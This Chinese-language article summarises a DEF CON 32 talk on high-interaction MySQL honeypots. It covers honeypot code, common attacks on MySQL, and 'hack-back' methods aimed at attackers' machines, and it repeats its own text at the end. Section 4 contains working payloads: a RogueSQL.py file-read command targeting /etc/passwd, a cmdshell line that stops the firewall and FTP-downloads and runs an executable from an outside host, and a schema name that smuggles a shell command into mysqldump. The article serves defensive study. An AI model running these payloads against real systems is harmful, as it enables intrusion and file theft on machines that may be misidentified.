MySQL Honeypot 攻击反制方法总结
字数 1387 2025-08-22 12:22:48

MySQL Honeypot 攻击反制方法详解

1. MySQL Honeypot 概述

MySQL Honeypot 是一种安全防御工具,专门用于捕捉和分析针对 MySQL 服务器的攻击行为。开放了常见端口(如3306)的 MySQL 服务器很容易成为攻击目标,高交互 MySQL Honeypot 可以模拟真实 MySQL 服务器的行为,吸引攻击者进行更多操作,从而获取有价值的攻击信息。

1.1 高交互 Honeypot 的优势

  • 模拟完整的服务响应,包括协议细节和认证过程
  • 允许攻击者执行部分操作,获取更详细的攻击信息
  • 通过逼真的仿真效果,吸引攻击者长时间操作
  • 能够记录攻击者的连接属性和操作行为

2. 高交互 MySQL Honeypot 实现

2.1 使用 mysql_mimic 工具

mysql_mimic 是一个 Python 工具库,能够模拟 MySQL 协议,创建虚假的 MySQL 服务器。

基础实现代码

import logging
import asyncio
from mysql_mimic import MysqlServer, IdentityProvider, User

async def start_honeypot():
    server = MysqlServer(identity_provider=IdentityProvider())
    server.users.append(User("root", "", ""))
    await server.listen(port=3306)
    logging.info("MySQL Honeypot 已在 3306 端口启动")

if __name__ == "__main__":
    asyncio.run(start_honeypot())

2.2 可获取的攻击者信息

Honeypot 可以记录以下攻击者信息:

  • _client_version: 客户端使用的 MySQL 库版本
  • _os: 客户端的操作系统(如Linux、Win64等)
  • _pid: 客户端进程的ID
  • _platform: 客户端的平台(如x86_64)
  • program_name: 客户端的程序名
  • _thread: 客户端线程的ID(仅在Windows下包含)

示例攻击捕获信息

{
  "_client_name": "MySql Connector/NET",
  "_client_version": "6.9.6.0",
  "_platform": "x86_64",
  "program_name": "Taher SQL Checker.exe",
  "_os": "Win64",
  "_os_details": "Microsoft Windows Server 2012 R2 Standard Evaluation"
}

3. 常见 MySQL 攻击手段

3.1 插件劫持攻击

攻击特征:

  • 使用极旧版本的 MySQL 客户端(如MySQL 5.6.14)
  • 常见于2013-2014年间发布的MySQL版本

攻击过程:

  1. 连接MySQL服务器: 使用旧客户端版本连接
  2. 写入恶意共享库文件: 上传.so(Linux)或.dll(Windows)文件到plugin_dir目录
  3. 加载恶意插件: INSTALL PLUGIN malicious_plugin SONAME 'malicious_lib.so';
  4. 执行远程代码: 通过恶意插件获取系统控制权

3.2 删库勒索攻击

攻击特征:

  • 使用MariaDB等较新版本的客户端库(如libmariadb 3.3.9)
  • 使用mysqldump程序下载数据库信息

攻击过程:

  1. 连接MySQL服务器并探测数据库
  2. 使用mysqldump导出数据
  3. 删除数据库: DROP DATABASE 1111;
  4. 留下勒索信息: 创建包含比特币地址的README表

4. MySQL 攻击反制方法

4.1 客户端任读反制

反制过程:

  1. 伪造MySQL服务器
  2. 发送特定查询命令,强制客户端读取文件
  3. 使用RogueSQL.py工具读取攻击者系统文件

示例命令:

wget 'https://raw.githubusercontent.com/jib1337/Rogue-MySQL-Server/master/RogueSQL.py'
python2.7 RogueSQL.py -p 3306 -f /etc/passwd

4.2 插件劫持反制

反制过程:

  1. 捕捉SQL查询中的插件加载命令
  2. 注入恶意插件
  3. 通过FTP上传恶意文件到攻击者系统
  4. 执行远程代码

示例命令:

select cmdshell("cmd.exe cmd/c net stop sharedaccess &echo open x.x.x.x>>ge.dat &echo 123>>ge.dat &echo 123>>ge.dat &echo bin>>ge.dat &echo get mstsc.exe>>ge.dat &echo bye>>ge.dat &ftp -s:ge.dat &mstsc.exe&absl.exe&del ge.dat&del mstsc.exe&del mstsc.exe");

4.3 命令注入反制

反制过程:

  1. 伪造MySQL服务器
  2. 在数据库名或表名中嵌入恶意代码
  3. 利用mysqldump工具处理时的漏洞执行命令

示例构造:

schema_name = "p$(ps axuf|base64 –w64)"
table_name = "accounts"
SCHEMA = {
    schema_name: {
        table_name: {
            "a": "TEXT",
        }
    }
}
TABLES = {
    schema_name: {
        table_name: [
            {"a": "aaa"},
        ]
    }
}

5. 参考资料

MySQL Honeypot 攻击反制方法详解 1. MySQL Honeypot 概述 MySQL Honeypot 是一种安全防御工具,专门用于捕捉和分析针对 MySQL 服务器的攻击行为。开放了常见端口(如3306)的 MySQL 服务器很容易成为攻击目标,高交互 MySQL Honeypot 可以模拟真实 MySQL 服务器的行为,吸引攻击者进行更多操作,从而获取有价值的攻击信息。 1.1 高交互 Honeypot 的优势 模拟完整的服务响应,包括协议细节和认证过程 允许攻击者执行部分操作,获取更详细的攻击信息 通过逼真的仿真效果,吸引攻击者长时间操作 能够记录攻击者的连接属性和操作行为 2. 高交互 MySQL Honeypot 实现 2.1 使用 mysql_ mimic 工具 mysql_mimic 是一个 Python 工具库,能够模拟 MySQL 协议,创建虚假的 MySQL 服务器。 基础实现代码 2.2 可获取的攻击者信息 Honeypot 可以记录以下攻击者信息: _client_version : 客户端使用的 MySQL 库版本 _os : 客户端的操作系统(如Linux、Win64等) _pid : 客户端进程的ID _platform : 客户端的平台(如x86_ 64) program_name : 客户端的程序名 _thread : 客户端线程的ID(仅在Windows下包含) 示例攻击捕获信息 3. 常见 MySQL 攻击手段 3.1 插件劫持攻击 攻击特征 : 使用极旧版本的 MySQL 客户端(如MySQL 5.6.14) 常见于2013-2014年间发布的MySQL版本 攻击过程 : 连接MySQL服务器: 使用旧客户端版本连接 写入恶意共享库文件: 上传.so(Linux)或.dll(Windows)文件到plugin_ dir目录 加载恶意插件: INSTALL PLUGIN malicious_plugin SONAME 'malicious_lib.so'; 执行远程代码: 通过恶意插件获取系统控制权 3.2 删库勒索攻击 攻击特征 : 使用MariaDB等较新版本的客户端库(如libmariadb 3.3.9) 使用mysqldump程序下载数据库信息 攻击过程 : 连接MySQL服务器并探测数据库 使用mysqldump导出数据 删除数据库: DROP DATABASE 1111 ; 留下勒索信息: 创建包含比特币地址的README表 4. MySQL 攻击反制方法 4.1 客户端任读反制 反制过程 : 伪造MySQL服务器 发送特定查询命令,强制客户端读取文件 使用RogueSQL.py工具读取攻击者系统文件 示例命令 : 4.2 插件劫持反制 反制过程 : 捕捉SQL查询中的插件加载命令 注入恶意插件 通过FTP上传恶意文件到攻击者系统 执行远程代码 示例命令 : 4.3 命令注入反制 反制过程 : 伪造MySQL服务器 在数据库名或表名中嵌入恶意代码 利用mysqldump工具处理时的漏洞执行命令 示例构造 : 5. 参考资料 DEF CON 32 - Atomic Honeypot: A MySQL Honeypot That Drops Shells